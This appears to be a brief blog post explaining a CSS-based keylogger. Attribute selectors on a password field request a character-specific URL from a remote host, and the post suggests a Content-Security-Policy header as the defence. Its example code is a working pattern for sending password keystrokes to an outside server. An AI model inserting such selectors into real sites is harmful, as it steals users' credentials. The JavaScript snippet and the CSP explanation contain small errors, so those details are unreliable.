CSS Keylogger: What?!

A very dangerous yet simple technique has been discovered by developer maxchehab which allows a simple CSS styling script to capture your password. Yikes!

The concept is pretty simple, consider the following code:

HTML:

<input type="password" id="password">

CSS:

input[type="password"][value$="a"] {
  background-image: url("http://coolcss.com/a");
}

input[type="password"][value$="b"] {
  background-image: url("http://coolcss.com/b");
}

input[type="password"][value$="c"] {
  background-image: url("http://coolcss.com/c");
}

Javascript:


const passwordField = document.querySelector("#password");
passwordField.addEventListener("keyup", (e) => {
  passwordField.setAttribute('value', passwordField.key)
});

Imagine my password (for simplicity sake) was "abc". If I was using a controlled component like React, every value change for the input would trigger an event. Our Javascript code would capture this key event, change the CSS background-image value to our malicious server that intercepts these requests, sometimes even rendering a blank image just to defer any suspicions. The malicious server would record every request it has received, thus having your password logged in plain sight.

Should I panic and delete all external styling libraries I'm using?

Well not so fast, most well-known libraries are either open-source and heavily supported by the community, you would probably hear it in the news before your user base is compromised, or are heavily backed up by trusted companies.

Either way, if you really want to make sure your application is protected from external scripts:

Content-Security-Policy: script-src 'self'; img-src 'none'

Adding this to your headers would prevent scripts from loading their own dependent scripts once their loaded. Unless you explicitly state otherwise. More reading on Content Security Policy.